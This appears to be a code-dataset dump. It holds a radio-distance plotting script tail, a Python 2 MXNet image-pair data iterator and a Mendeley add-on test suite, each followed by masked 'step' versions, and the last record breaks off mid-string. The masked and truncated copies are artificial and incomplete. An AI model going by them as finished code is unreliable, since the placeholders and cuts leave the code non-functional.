x=np.arange(.75, 3.25, .25),\n y=np.arange(db_lim[0], db_lim[1], -1),\n z=rssi_blocked_hist2d[int(-db_lim[0]):int(-db_lim[1]), :],\n zmin=0, zmax=maxz), row=1, col=2)\n fig.add_trace(go.Heatmap(\n x=np.arange(.75, 3.25, .25),\n y=np.arange(dist_lim[0], dist_lim[1], .1),\n z=dist_blocked_hist2d[int(dist_lim[0]/.1):int(dist_lim[1]/.1), :],\n zmin=0, zmax=maxz), row=2, col=2)\n fig.add_trace(go.Scatter(x=np.arange(.75, 3.25, .25), y=np.arange(.75, 3.25, .25), mode='lines', line=ref_line), row=2, col=1)\n fig.add_trace(go.Scatter(x=np.arange(.75, 3.25, .25), y=np.arange(.75, 3.25, .25), mode='lines', line=ref_line), row=2, col=2)\n fig.update_layout(title={'text': 'DA14695 Evaluation Board, %s antenna'%(antenna),\n 'xanchor': 'center', 'yanchor': 'top', 'y': .95, 'x': .5})\n fig.update_xaxes(title='Separation (m)', row=2, col=1)\n fig.update_xaxes(title='Separation (m)', row=2, col=2)\n fig.update_layout(showlegend=False)\n fig.update_yaxes(title_text='Initiator RSSI (dBm)', row=1, col=1)\n fig.update_yaxes(title_text='Calculated distance (m)', row=2, col=1)\n fig.write_image(os.path.join(output_directory, 'distance_%s.png'%(antenna)))",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
import mxnet as mx
import numpy as np
import cv2
import random
class Even_iterator(mx.io.DataIter):
'''
data iterator, shuffle data but always make pairs as neighbors
for verification and triplet loss
'''
def __init__(self, lst_name, batch_size, aug_params=dict(), shuffle=False):
super(Even_iterator, self).__init__()
self.batch_size = batch_size
self.aug_params = aug_params.copy()
self.shuffle = shuffle
self.data, self.labels = Even_iterator.load_data(lst_name)
print "load data over"
self.data_num = self.labels.shape[0]
self.label_num = 1 if len(self.labels.shape) == 1 else self.labels.shape[1]
print self.data_num, self.label_num
self.reset()
@staticmethod
def load_data(lst_name):
img_lst = [x.strip().split('\t')
for x in file(lst_name).read().splitlines()]
im = cv2.imread(img_lst[0][-1])
h, w = im.shape[:2]
n, m = len(img_lst), len(img_lst[0]) - 2
data = np.zeros((n, h, w, 3), dtype=np.uint8)
labels = np.zeros((n, m), dtype=np.int32) if m > 1 else np.zeros((n, ), dtype=np.int32)
for i in range(len(img_lst)):
im = cv2.imread(img_lst[i][-1])
data[i] = im
labels[i] = img_lst[i][1:-1] if m > 1 else img_lst[i][1]
return data, labels
@staticmethod
def even_shuffle(labels):
'''
shuffle images lists and make pairs
'''
s = [(x, int(random.random() * 1e5), i) for i, x in enumerate(labels)]
s = sorted(s, key=lambda x: (x[0], x[1]))
lst = [x[2] for x in s]
idx = range(0, len(lst), 2)
random.shuffle(idx)
ret = []
for i in idx:
ret.append(lst[i])
ret.append(lst[i + 1])
return ret
@staticmethod
def model_shuffle(labels):
'''
shuffle images and images with same model are grouped together
'''
models_idx = range(int(np.max(labels)) + 1)
random.shuffle(models_idx)
s = [(models_idx[x], int(random.random() * 1e5), i) for i, x in enumerate(labels)]
s = sorted(s, key=lambda x: (x[0], x[1]))
lst = [x[2] for x in s]
return lst
def reset(self):
self.current = 0
if self.shuffle:
idx = Even_iterator.even_shuffle(self.labels)
# idx = Even_iterator.model_shuffle(self.labels)
self.data = self.data[idx]
self.labels = self.labels[idx]
@property
def provide_data(self):
shape = self.aug_params['input_shape']
return [('data', (self.batch_size, shape[0], shape[1], shape[2]))]
@property
def provide_label(self):
return [('softmax_label', (self.batch_size, self.label_num))]
@staticmethod
def augment(im, aug_params):
'''
augmentation (resize, crop, mirror)
'''
crop_h, crop_w = aug_params['input_shape'][1:]
ori_h, ori_w = im.shape[:2]
resize = aug_params['resize']
if ori_h < ori_w:
h, w = resize, int(float(resize) / ori_h * ori_w)
else:
h, w = int(float(resize) / ori_w * ori_h), resize
if h != ori_h:
im = cv2.resize(im, (w, h), interpolation=cv2.INTER_LINEAR)
x, y = (w - crop_w) / 2, (h - crop_h) / 2
if aug_params['rand_crop']:
x = random.randint(0, w - crop_w)
y = random.randint(0, h - crop_h)
im = im[y:y + crop_h, x:x + crop_w, :]
# cv2.imshow("name", im.astype(np.uint8))
# cv2.waitKey()
im = np.transpose(im, (2, 0, 1))
newim = np.zeros_like(im)
newim[0] = im[2]
newim[1] = im[1]
newim[2] = im[0]
if aug_params['rand_mirror'] and random.randint(0, 1) == 1:
newim = newim[:, :, ::-1]
return newim
def next(self):
if self.current + self.batch_size > self.data_num:
raise StopIteration
shape = self.aug_params['input_shape']
x = np.zeros((self.batch_size, shape[0], shape[1], shape[2]))
y = np.zeros((self.batch_size, self.label_num) if self.label_num > 1
else (self.batch_size, ))
index = []
for i in range(self.current, self.current + self.batch_size):
im = self.data[i]
im.astype(np.float32)
im = Even_iterator.augment(im, self.aug_params)
x[i - self.current] = im
y[i - self.current] = self.labels[i]
index.append(i)
x -= self.aug_params['mean']
x = mx.nd.array(x)
label = mx.nd.array(y)
batch = mx.io.DataBatch(data=[x], label=[label], pad=0, index=index)
self.current += self.batch_size
return batch
|
normal
|
{
"blob_id": "a824bd7577134227f5c136f2a4382c056f1175be",
"index": 9663,
"step-1": "import mxnet as mx\nimport numpy as np\nimport cv2\nimport random\n\n\nclass Even_iterator(mx.io.DataIter):\n '''\n data iterator, shuffle data but always make pairs as neighbors\n for verification and triplet loss\n '''\n def __init__(self, lst_name, batch_size, aug_params=dict(), shuffle=False):\n super(Even_iterator, self).__init__()\n self.batch_size = batch_size\n self.aug_params = aug_params.copy()\n self.shuffle = shuffle\n\n self.data, self.labels = Even_iterator.load_data(lst_name)\n print \"load data over\"\n self.data_num = self.labels.shape[0]\n self.label_num = 1 if len(self.labels.shape) == 1 else self.labels.shape[1]\n print self.data_num, self.label_num\n self.reset()\n\n @staticmethod\n def load_data(lst_name):\n img_lst = [x.strip().split('\\t')\n for x in file(lst_name).read().splitlines()]\n im = cv2.imread(img_lst[0][-1])\n h, w = im.shape[:2]\n n, m = len(img_lst), len(img_lst[0]) - 2\n data = np.zeros((n, h, w, 3), dtype=np.uint8)\n labels = np.zeros((n, m), dtype=np.int32) if m > 1 else np.zeros((n, ), dtype=np.int32)\n\n for i in range(len(img_lst)):\n im = cv2.imread(img_lst[i][-1])\n\n data[i] = im\n labels[i] = img_lst[i][1:-1] if m > 1 else img_lst[i][1]\n\n return data, labels\n\n @staticmethod\n def even_shuffle(labels):\n '''\n shuffle images lists and make pairs\n '''\n s = [(x, int(random.random() * 1e5), i) for i, x in enumerate(labels)]\n s = sorted(s, key=lambda x: (x[0], x[1]))\n lst = [x[2] for x in s]\n\n idx = range(0, len(lst), 2)\n random.shuffle(idx)\n ret = []\n for i in idx:\n ret.append(lst[i])\n ret.append(lst[i + 1])\n\n return ret\n\n @staticmethod\n def model_shuffle(labels):\n '''\n shuffle images and images with same model are grouped together\n '''\n models_idx = range(int(np.max(labels)) + 1)\n random.shuffle(models_idx)\n s = [(models_idx[x], int(random.random() * 1e5), i) for i, x in enumerate(labels)]\n s = sorted(s, key=lambda x: (x[0], x[1]))\n lst = [x[2] for x in s]\n\n return lst\n\n def reset(self):\n self.current = 0\n if self.shuffle:\n idx = Even_iterator.even_shuffle(self.labels)\n # idx = Even_iterator.model_shuffle(self.labels)\n self.data = self.data[idx]\n self.labels = self.labels[idx]\n\n @property\n def provide_data(self):\n shape = self.aug_params['input_shape']\n\n return [('data', (self.batch_size, shape[0], shape[1], shape[2]))]\n\n @property\n def provide_label(self):\n return [('softmax_label', (self.batch_size, self.label_num))]\n\n @staticmethod\n def augment(im, aug_params):\n '''\n augmentation (resize, crop, mirror)\n '''\n crop_h, crop_w = aug_params['input_shape'][1:]\n ori_h, ori_w = im.shape[:2]\n resize = aug_params['resize']\n if ori_h < ori_w:\n h, w = resize, int(float(resize) / ori_h * ori_w)\n else:\n h, w = int(float(resize) / ori_w * ori_h), resize\n\n if h != ori_h:\n im = cv2.resize(im, (w, h), interpolation=cv2.INTER_LINEAR)\n\n x, y = (w - crop_w) / 2, (h - crop_h) / 2\n if aug_params['rand_crop']:\n x = random.randint(0, w - crop_w)\n y = random.randint(0, h - crop_h)\n im = im[y:y + crop_h, x:x + crop_w, :]\n\n # cv2.imshow(\"name\", im.astype(np.uint8))\n # cv2.waitKey()\n\n im = np.transpose(im, (2, 0, 1))\n newim = np.zeros_like(im)\n newim[0] = im[2]\n newim[1] = im[1]\n newim[2] = im[0]\n\n if aug_params['rand_mirror'] and random.randint(0, 1) == 1:\n newim = newim[:, :, ::-1]\n\n return newim\n\n def next(self):\n if self.current + self.batch_size > self.data_num:\n raise StopIteration\n\n shape = self.aug_params['input_shape']\n x = np.zeros((self.batch_size, shape[0], shape[1], shape[2]))\n y = np.zeros((self.batch_size, self.label_num) if self.label_num > 1\n else (self.batch_size, ))\n index = []\n for i in range(self.current, self.current + self.batch_size):\n im = self.data[i]\n im.astype(np.float32)\n im = Even_iterator.augment(im, self.aug_params)\n x[i - self.current] = im\n y[i - self.current] = self.labels[i]\n index.append(i)\n\n x -= self.aug_params['mean']\n\n x = mx.nd.array(x)\n label = mx.nd.array(y)\n\n batch = mx.io.DataBatch(data=[x], label=[label], pad=0, index=index)\n self.current += self.batch_size\n\n return batch\n",
"step-2": null,
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0
]
}
|
[
0
] |
# -*- coding: utf-8 -*-
from nose.tools import * # noqa
import mock
import httpretty
from tests.base import OsfTestCase
from tests.factories import AuthUserFactory, ProjectFactory
import urlparse
from framework.auth import Auth
from website.addons.mendeley.tests.factories import (
MendeleyAccountFactory,
MendeleyUserSettingsFactory,
MendeleyNodeSettingsFactory
)
from framework.exceptions import HTTPError
from website.addons.mendeley.provider import MendeleyCitationsProvider
from website.addons.mendeley.serializer import MendeleySerializer
from utils import mock_responses
API_URL = 'https://api.mendeley.com'
class MockNode(object):
addon = None
@property
def is_deleted(self):
return False
@property
def is_public(self):
return True
def get_addon(self, name):
if name == 'mendeley':
return self.addon
return None
class MockFolder(object):
def __init__(self, **kwargs):
for k, v in kwargs.iteritems():
setattr(self, k, v)
class MendeleyViewsTestCase(OsfTestCase):
def setUp(self):
super(MendeleyViewsTestCase, self).setUp()
self.account = MendeleyAccountFactory()
self.user = AuthUserFactory(external_accounts=[self.account])
self.account.display_name = self.user.fullname
self.account.save()
self.user_addon = MendeleyUserSettingsFactory(owner=self.user, external_account=self.account)
self.project = ProjectFactory(creator=self.user)
self.node_addon = MendeleyNodeSettingsFactory(owner=self.project)
self.node_addon.set_auth(external_account=self.account, user=self.user)
self.provider = MendeleyCitationsProvider()
#self.user_addon.grant_oauth_access(self.node_addon, self.account, metadata={'lists': 'list'})
self.node = MockNode()
self.node.addon = self.node_addon
self.id_patcher = mock.patch('website.addons.mendeley.model.Mendeley.client_id')
self.secret_patcher = mock.patch('website.addons.mendeley.model.Mendeley.client_secret')
self.id_patcher.__get__ = mock.Mock(return_value='1234567890asdf')
self.secret_patcher.__get__ = mock.Mock(return_value='1234567890asdf')
self.id_patcher.start()
self.secret_patcher.start()
def tearDown(self):
self.id_patcher.stop()
self.secret_patcher.stop()
@mock.patch('website.addons.mendeley.model.Mendeley.client', new_callable=mock.PropertyMock)
def test_check_mendeley_credentials(self, mock_client):
mock_client.side_effect = HTTPError(403)
assert_false(self.provider.check_credentials(self.node_addon))
mock_client.side_effect = HTTPError(402)
with assert_raises(HTTPError):
self.provider.check_credentials(self.node_addon)
@mock.patch('website.addons.mendeley.views.MendeleyCitationsProvider.check_credentials')
def test_serialize_settings_authorizer(self, mock_credentials):
#"""dict: a serialized version of user-specific addon settings"""
mock_credentials.return_value = True
res = self.app.get(
self.project.api_url_for('mendeley_get_config'),
auth=self.user.auth,
)
result = res.json['result']
assert_true(result['nodeHasAuth'])
assert_true(result['userHasAuth'])
assert_true(result['userIsOwner'])
assert_true(result['validCredentials'])
assert_equal(result['folder'], {'name': ''})
assert_equal(result['ownerName'], self.user.fullname)
assert_true(result['urls']['auth'])
assert_true(result['urls']['config'])
assert_true(result['urls']['deauthorize'])
assert_true(result['urls']['folders'])
assert_true(result['urls']['importAuth'])
assert_true(result['urls']['settings'])
@mock.patch('website.addons.mendeley.views.MendeleyCitationsProvider.check_credentials')
def test_serialize_settings_non_authorizer(self, mock_credentials):
#"""dict: a serialized version of user-specific addon settings"""
mock_credentials.return_value = True
non_authorizing_user = AuthUserFactory()
self.project.add_contributor(non_authorizing_user, save=True)
res = self.app.get(
self.project.api_url_for('mendeley_get_config'),
auth=non_authorizing_user.auth,
)
result = res.json['result']
assert_true(result['nodeHasAuth'])
assert_false(result['userHasAuth'])
assert_false(result['userIsOwner'])
assert_true(result['validCredentials'])
assert_equal(result['folder'], {'name': ''})
assert_equal(result['ownerName'], self.user.fullname)
assert_true(result['urls']['auth'])
assert_true(result['urls']['config'])
assert_true(result['urls']['deauthorize'])
assert_true(result['urls']['folders'])
assert_true(result['urls']['importAuth'])
assert_true(result['urls']['settings'])
@mock.patch('website.addons.mendeley.provider.MendeleyCitationsProvider.check_credentials')
def test_set_auth(self, mock_credentials):
mock_credentials.return_value = True
res = self.app.put_json(
self.project.api_url_for('mendeley_add_user_auth'),
{
'external_account_id': self.account._id,
},
auth=self.user.auth,
)
assert_equal(
res.status_code,
200
)
assert_true(res.json['result']['userHasAuth'])
assert_equal(
self.node_addon.user_settings,
self.user_addon
)
assert_equal(
self.node_addon.external_account,
self.account
)
def test_remove_user_auth(self):
self.node_addon.set_auth(self.account, self.user)
res = self.app.delete_json(
self.project.api_url_for('mendeley_remove_user_auth'),
{
'external_account_id': self.account._id,
},
auth=self.user.auth,
)
assert_equal(
res.status_code,
200
)
self.node_addon.reload()
assert_is_none(self.node_addon.user_settings)
assert_is_none(self.node_addon.external_account)
@mock.patch('website.addons.mendeley.model.Mendeley._folder_metadata')
def test_set_config_owner(self, mock_metadata):
mock_metadata.return_value = MockFolder(name='Fake Folder')
# Settings config updates node settings
self.node_addon.associated_user_settings = []
self.node_addon.save()
res = self.app.put_json(
self.project.api_url_for('mendeley_set_config'),
{
'external_account_id': self.account._id,
'external_list_id': 'list',
},
auth=self.user.auth,
)
self.node_addon.reload()
assert_equal(self.user_addon, self.node_addon.user_settings)
serializer = MendeleySerializer(node_settings=self.node_addon, user_settings=self.user_addon)
expected = {
'result': serializer.serialized_node_settings
}
assert_equal(res.json, expected)
@mock.patch('website.addons.mendeley.model.Mendeley._folder_metadata')
def test_set_config_not_owner(self, mock_metadata):
mock_metadata.return_value = MockFolder(name='Fake Folder')
user = AuthUserFactory()
user.add_addon('mendeley')
self.project.add_contributor(user)
self.project.save()
res = self.app.put_json(
self.project.api_url_for('mendeley_set_config'),
{
'external_account_id': self.account._id,
'external_list_id': 'list',
},
auth=user.auth,
)
self.node_addon.reload()
assert_equal(self.user_addon, self.node_addon.user_settings)
serializer = MendeleySerializer(node_settings=self.node_addon, user_settings=None)
expected = {
'result': serializer.serialized_node_settings
}
assert_equal(res.json, expected)
def test_mendeley_widget_view_complete(self):
# JSON: everything a widget needs
assert_false(self.node_addon.complete)
assert_equal(self.node_addon.mendeley_list_id, None)
self.node_addon.set_target_folder('ROOT-ID', 'ROOT', auth=Auth(user=self.user))
url = self.project.api_url_for('mendeley_widget')
res = self.app.get(url, auth=self.user.auth).json
assert_true(res['complete'])
assert_equal(res['list_id'], 'ROOT-ID')
def test_widget_view_incomplete(self):
# JSON: tell the widget when it hasn't been configured
assert_false(self.node_addon.complete)
assert_equal(self.node_addon.mendeley_list_id, None)
url = self.project.api_url_for('mendeley_widget')
res = self.app.get(url, auth=self.user.auth).json
assert_false(res['complete'])
assert_is_none(res['list_id'])
@httpretty.activate
def test_mendeley_citation_list_root(self):
httpretty.register_uri(
httpretty.GET,
urlparse.urljoin(API_URL, 'folders'),
body=mock_responses['folders'],
content_type='application/json'
)
res = self.app.get(
self.project.api_url_for('mendeley_citation_list'),
auth=self.user.auth
)
root = res.json['contents'][0]
assert_equal(root['kind'], 'folder')
assert_equal(root['id'], 'ROOT')
assert_equal(root['parent_list_id'], '__')
@httpretty.activate
def test_mendeley_citation_list_non_root(self):
httpretty.register_uri(
httpretty.GET,
urlparse.urljoin(API_URL, 'folders'),
body=mock_responses['folders'],
content_type='application/json'
)
httpretty.register_uri(
httpretty.GET,
urlparse.urljoin(API_URL, 'documents'),
body=mock_responses['documents'],
content_type='application/json'
)
res = self.app.get(
self.project.api_url_for('mendeley_citation_list', mendeley_list_id='ROOT'),
auth=self.user.auth
)
children = res.json['contents']
assert_equal(len(children), 7)
assert_equal(children[0]['kind'], 'folder')
assert_equal(children[1]['kind'], 'file')
assert_true(children[1].get('csl') is not None)
@httpretty.activate
def test_mendeley_citation_list_non_linked_or_child_non_authorizer(self):
non_authorizing_user = AuthUserFactory()
self.project.add_contributor(non_authorizing_user, save=True)
self.node_addon.mendeley_list_id = 'e843da05-8818-47c2-8c37-41eebfc4fe3f'
self.node_addon.save()
httpretty.register_uri(
httpretty.GET,
urlparse.urljoin(API_URL, 'folders'),
body=mock_responses['folders'],
content_type='application/json'
)
httpretty.register_uri(
httpretty.GET,
urlparse.urljoin(API_URL, 'documents'),
body=mock_responses['documents'],
content_type='application/json'
)
res = self.app.get(
self.project.api_url_for('mendeley_citation_list', mendeley_list_id='ROOT'),
auth=non_authorizing_user.auth,
expect_errors=True
)
assert_equal(res.status_code, 403)
|
normal
|
{
"blob_id": "f69351474fb3eb48eeb65eaf1aa46d2f4a390471",
"index": 1887,
"step-1": "<mask token>\n\n\nclass MendeleyViewsTestCase(OsfTestCase):\n\n def setUp(self):\n super(MendeleyViewsTestCase, self).setUp()\n self.account = MendeleyAccountFactory()\n self.user = AuthUserFactory(external_accounts=[self.account])\n self.account.display_name = self.user.fullname\n self.account.save()\n self.user_addon = MendeleyUserSettingsFactory(owner=self.user,\n external_account=self.account)\n self.project = ProjectFactory(creator=self.user)\n self.node_addon = MendeleyNodeSettingsFactory(owner=self.project)\n self.node_addon.set_auth(external_account=self.account, user=self.user)\n self.provider = MendeleyCitationsProvider()\n self.node = MockNode()\n self.node.addon = self.node_addon\n self.id_patcher = mock.patch(\n 'website.addons.mendeley.model.Mendeley.client_id')\n self.secret_patcher = mock.patch(\n 'website.addons.mendeley.model.Mendeley.client_secret')\n self.id_patcher.__get__ = mock.Mock(return_value='1234567890asdf')\n self.secret_patcher.__get__ = mock.Mock(return_value='1234567890asdf')\n self.id_patcher.start()\n self.secret_patcher.start()\n\n def tearDown(self):\n self.id_patcher.stop()\n self.secret_patcher.stop()\n\n @mock.patch('website.addons.mendeley.model.Mendeley.client',\n new_callable=mock.PropertyMock)\n def test_check_mendeley_credentials(self, mock_client):\n mock_client.side_effect = HTTPError(403)\n assert_false(self.provider.check_credentials(self.node_addon))\n mock_client.side_effect = HTTPError(402)\n with assert_raises(HTTPError):\n self.provider.check_credentials(self.node_addon)\n\n @mock.patch(\n 'website.addons.mendeley.views.MendeleyCitationsProvider.check_credentials'\n )\n def test_serialize_settings_authorizer(self, mock_credentials):\n mock_credentials.return_value = True\n res = self.app.get(self.project.api_url_for('mendeley_get_config'),\n auth=self.user.auth)\n result = res.json['result']\n assert_true(result['nodeHasAuth'])\n assert_true(result['userHasAuth'])\n assert_true(result['userIsOwner'])\n assert_true(result['validCredentials'])\n assert_equal(result['folder'], {'name': ''})\n assert_equal(result['ownerName'], self.user.fullname)\n assert_true(result['urls']['auth'])\n assert_true(result['urls']['config'])\n assert_true(result['urls']['deauthorize'])\n assert_true(result['urls']['folders'])\n assert_true(result['urls']['importAuth'])\n assert_true(result['urls']['settings'])\n\n @mock.patch(\n 'website.addons.mendeley.views.MendeleyCitationsProvider.check_credentials'\n )\n def test_serialize_settings_non_authorizer(self, mock_credentials):\n mock_credentials.return_value = True\n non_authorizing_user = AuthUserFactory()\n self.project.add_contributor(non_authorizing_user, save=True)\n res = self.app.get(self.project.api_url_for('mendeley_get_config'),\n auth=non_authorizing_user.auth)\n result = res.json['result']\n assert_true(result['nodeHasAuth'])\n assert_false(result['userHasAuth'])\n assert_false(result['userIsOwner'])\n assert_true(result['validCredentials'])\n assert_equal(result['folder'], {'name': ''})\n assert_equal(result['ownerName'], self.user.fullname)\n assert_true(result['urls']['auth'])\n assert_true(result['urls']['config'])\n assert_true(result['urls']['deauthorize'])\n assert_true(result['urls']['folders'])\n assert_true(result['urls']['importAuth'])\n assert_true(result['urls']['settings'])\n\n @mock.patch(\n 'website.addons.mendeley.provider.MendeleyCitationsProvider.check_credentials'\n )\n def test_set_auth(self, mock_credentials):\n mock_credentials.return_value = True\n res = self.app.put_json(self.project.api_url_for(\n 'mendeley_add_user_auth'), {'external_account_id': self.account\n ._id}, auth=self.user.auth)\n assert_equal(res.status_code, 200)\n assert_true(res.json['result']['userHasAuth'])\n assert_equal(self.node_addon.user_settings, self.user_addon)\n assert_equal(self.node_addon.external_account, self.account)\n\n def test_remove_user_auth(self):\n self.node_addon.set_auth(self.account, self.user)\n res = self.app.delete_json(self.project.api_url_for(\n 'mendeley_remove_user_auth'), {'external_account_id': self.\n account._id}, auth=self.user.auth)\n assert_equal(res.status_code, 200)\n self.node_addon.reload()\n assert_is_none(self.node_addon.user_settings)\n assert_is_none(self.node_addon.external_account)\n <mask token>\n\n @mock.patch('website.addons.mendeley.model.Mendeley._folder_metadata')\n def test_set_config_not_owner(self, mock_metadata):\n mock_metadata.return_value = MockFolder(name='Fake Folder')\n user = AuthUserFactory()\n user.add_addon('mendeley')\n self.project.add_contributor(user)\n self.project.save()\n res = self.app.put_json(self.project.api_url_for(\n 'mendeley_set_config'), {'external_account_id': self.account.\n _id, 'external_list_id': 'list'}, auth=user.auth)\n self.node_addon.reload()\n assert_equal(self.user_addon, self.node_addon.user_settings)\n serializer = MendeleySerializer(node_settings=self.node_addon,\n user_settings=None)\n expected = {'result': serializer.serialized_node_settings}\n assert_equal(res.json, expected)\n <mask token>\n <mask token>\n\n @httpretty.activate\n def test_mendeley_citation_list_root(self):\n httpretty.register_uri(httpretty.GET, urlparse.urljoin(API_URL,\n 'folders'), body=mock_responses['folders'], content_type=\n 'application/json')\n res = self.app.get(self.project.api_url_for(\n 'mendeley_citation_list'), auth=self.user.auth)\n root = res.json['contents'][0]\n assert_equal(root['kind'], 'folder')\n assert_equal(root['id'], 'ROOT')\n assert_equal(root['parent_list_id'], '__')\n <mask token>\n\n @httpretty.activate\n def test_mendeley_citation_list_non_linked_or_child_non_authorizer(self):\n non_authorizing_user = AuthUserFactory()\n self.project.add_contributor(non_authorizing_user, save=True)\n self.node_addon.mendeley_list_id = (\n 'e843da05-8818-47c2-8c37-41eebfc4fe3f')\n self.node_addon.save()\n httpretty.register_uri(httpretty.GET, urlparse.urljoin(API_URL,\n 'folders'), body=mock_responses['folders'], content_type=\n 'application/json')\n httpretty.register_uri(httpretty.GET, urlparse.urljoin(API_URL,\n 'documents'), body=mock_responses['documents'], content_type=\n 'application/json')\n res = self.app.get(self.project.api_url_for(\n 'mendeley_citation_list', mendeley_list_id='ROOT'), auth=\n non_authorizing_user.auth, expect_errors=True)\n assert_equal(res.status_code, 403)\n",
"step-2": "<mask token>\n\n\nclass MendeleyViewsTestCase(OsfTestCase):\n\n def setUp(self):\n super(MendeleyViewsTestCase, self).setUp()\n self.account = MendeleyAccountFactory()\n self.user = AuthUserFactory(external_accounts=[self.account])\n self.account.display_name = self.user.fullname\n self.account.save()\n self.user_addon = MendeleyUserSettingsFactory(owner=self.user,\n external_account=self.account)\n self.project = ProjectFactory(creator=self.user)\n self.node_addon = MendeleyNodeSettingsFactory(owner=self.project)\n self.node_addon.set_auth(external_account=self.account, user=self.user)\n self.provider = MendeleyCitationsProvider()\n self.node = MockNode()\n self.node.addon = self.node_addon\n self.id_patcher = mock.patch(\n 'website.addons.mendeley.model.Mendeley.client_id')\n self.secret_patcher = mock.patch(\n 'website.addons.mendeley.model.Mendeley.client_secret')\n self.id_patcher.__get__ = mock.Mock(return_value='1234567890asdf')\n self.secret_patcher.__get__ = mock.Mock(return_value='1234567890asdf')\n self.id_patcher.start()\n self.secret_patcher.start()\n\n def tearDown(self):\n self.id_patcher.stop()\n self.secret_patcher.stop()\n\n @mock.patch('website.addons.mendeley.model.Mendeley.client',\n new_callable=mock.PropertyMock)\n def test_check_mendeley_credentials(self, mock_client):\n mock_client.side_effect = HTTPError(403)\n assert_false(self.provider.check_credentials(self.node_addon))\n mock_client.side_effect = HTTPError(402)\n with assert_raises(HTTPError):\n self.provider.check_credentials(self.node_addon)\n\n @mock.patch(\n 'website.addons.mendeley.views.MendeleyCitationsProvider.check_credentials'\n )\n def test_serialize_settings_authorizer(self, mock_credentials):\n mock_credentials.return_value = True\n res = self.app.get(self.project.api_url_for('mendeley_get_config'),\n auth=self.user.auth)\n result = res.json['result']\n assert_true(result['nodeHasAuth'])\n assert_true(result['userHasAuth'])\n assert_true(result['userIsOwner'])\n assert_true(result['validCredentials'])\n assert_equal(result['folder'], {'name': ''})\n assert_equal(result['ownerName'], self.user.fullname)\n assert_true(result['urls']['auth'])\n assert_true(result['urls']['config'])\n assert_true(result['urls']['deauthorize'])\n assert_true(result['urls']['folders'])\n assert_true(result['urls']['importAuth'])\n assert_true(result['urls']['settings'])\n\n @mock.patch(\n 'website.addons.mendeley.views.MendeleyCitationsProvider.check_credentials'\n )\n def test_serialize_settings_non_authorizer(self, mock_credentials):\n mock_credentials.return_value = True\n non_authorizing_user = AuthUserFactory()\n self.project.add_contributor(non_authorizing_user, save=True)\n res = self.app.get(self.project.api_url_for('mendeley_get_config'),\n auth=non_authorizing_user.auth)\n result = res.json['result']\n assert_true(result['nodeHasAuth'])\n assert_false(result['userHasAuth'])\n assert_false(result['userIsOwner'])\n assert_true(result['validCredentials'])\n assert_equal(result['folder'], {'name': ''})\n assert_equal(result['ownerName'], self.user.fullname)\n assert_true(result['urls']['auth'])\n assert_true(result['urls']['config'])\n assert_true(result['urls']['deauthorize'])\n assert_true(result['urls']['folders'])\n assert_true(result['urls']['importAuth'])\n assert_true(result['urls']['settings'])\n\n @mock.patch(\n 'website.addons.mendeley.provider.MendeleyCitationsProvider.check_credentials'\n )\n def test_set_auth(self, mock_credentials):\n mock_credentials.return_value = True\n res = self.app.put_json(self.project.api_url_for(\n 'mendeley_add_user_auth'), {'external_account_id': self.account\n ._id}, auth=self.user.auth)\n assert_equal(res.status_code, 200)\n assert_true(res.json['result']['userHasAuth'])\n assert_equal(self.node_addon.user_settings, self.user_addon)\n assert_equal(self.node_addon.external_account, self.account)\n\n def test_remove_user_auth(self):\n self.node_addon.set_auth(self.account, self.user)\n res = self.app.delete_json(self.project.api_url_for(\n 'mendeley_remove_user_auth'), {'external_account_id': self.\n account._id}, auth=self.user.auth)\n assert_equal(res.status_code, 200)\n self.node_addon.reload()\n assert_is_none(self.node_addon.user_settings)\n assert_is_none(self.node_addon.external_account)\n\n @mock.patch('website.addons.mendeley.model.Mendeley._folder_metadata')\n def test_set_config_owner(self, mock_metadata):\n mock_metadata.return_value = MockFolder(name='Fake Folder')\n self.node_addon.associated_user_settings = []\n self.node_addon.save()\n res = self.app.put_json(self.project.api_url_for(\n 'mendeley_set_config'), {'external_account_id': self.account.\n _id, 'external_list_id': 'list'}, auth=self.user.auth)\n self.node_addon.reload()\n assert_equal(self.user_addon, self.node_addon.user_settings)\n serializer = MendeleySerializer(node_settings=self.node_addon,\n user_settings=self.user_addon)\n expected = {'result': serializer.serialized_node_settings}\n assert_equal(res.json, expected)\n\n @mock.patch('website.addons.mendeley.model.Mendeley._folder_metadata')\n def test_set_config_not_owner(self, mock_metadata):\n mock_metadata.return_value = MockFolder(name='Fake Folder')\n user = AuthUserFactory()\n user.add_addon('mendeley')\n self.project.add_contributor(user)\n self.project.save()\n res = self.app.put_json(self.project.api_url_for(\n 'mendeley_set_config'), {'external_account_id': self.account.\n _id, 'external_list_id': 'list'}, auth=user.auth)\n self.node_addon.reload()\n assert_equal(self.user_addon, self.node_addon.user_settings)\n serializer = MendeleySerializer(node_settings=self.node_addon,\n user_settings=None)\n expected = {'result': serializer.serialized_node_settings}\n assert_equal(res.json, expected)\n <mask token>\n\n def test_widget_view_incomplete(self):\n assert_false(self.node_addon.complete)\n assert_equal(self.node_addon.mendeley_list_id, None)\n url = self.project.api_url_for('mendeley_widget')\n res = self.app.get(url, auth=self.user.auth).json\n assert_false(res['complete'])\n assert_is_none(res['list_id'])\n\n @httpretty.activate\n def test_mendeley_citation_list_root(self):\n httpretty.register_uri(httpretty.GET, urlparse.urljoin(API_URL,\n 'folders'), body=mock_responses['folders'], content_type=\n 'application/json')\n res = self.app.get(self.project.api_url_for(\n 'mendeley_citation_list'), auth=self.user.auth)\n root = res.json['contents'][0]\n assert_equal(root['kind'], 'folder')\n assert_equal(root['id'], 'ROOT')\n assert_equal(root['parent_list_id'], '__')\n\n @httpretty.activate\n def test_mendeley_citation_list_non_root(self):\n httpretty.register_uri(httpretty.GET, urlparse.urljoin(API_URL,\n 'folders'), body=mock_responses['folders'], content_type=\n 'application/json')\n httpretty.register_uri(httpretty.GET, urlparse.urljoin(API_URL,\n 'documents'), body=mock_responses['documents'], content_type=\n 'application/json')\n res = self.app.get(self.project.api_url_for(\n 'mendeley_citation_list', mendeley_list_id='ROOT'), auth=self.\n user.auth)\n children = res.json['contents']\n assert_equal(len(children), 7)\n assert_equal(children[0]['kind'], 'folder')\n assert_equal(children[1]['kind'], 'file')\n assert_true(children[1].get('csl') is not None)\n\n @httpretty.activate\n def test_mendeley_citation_list_non_linked_or_child_non_authorizer(self):\n non_authorizing_user = AuthUserFactory()\n self.project.add_contributor(non_authorizing_user, save=True)\n self.node_addon.mendeley_list_id = (\n 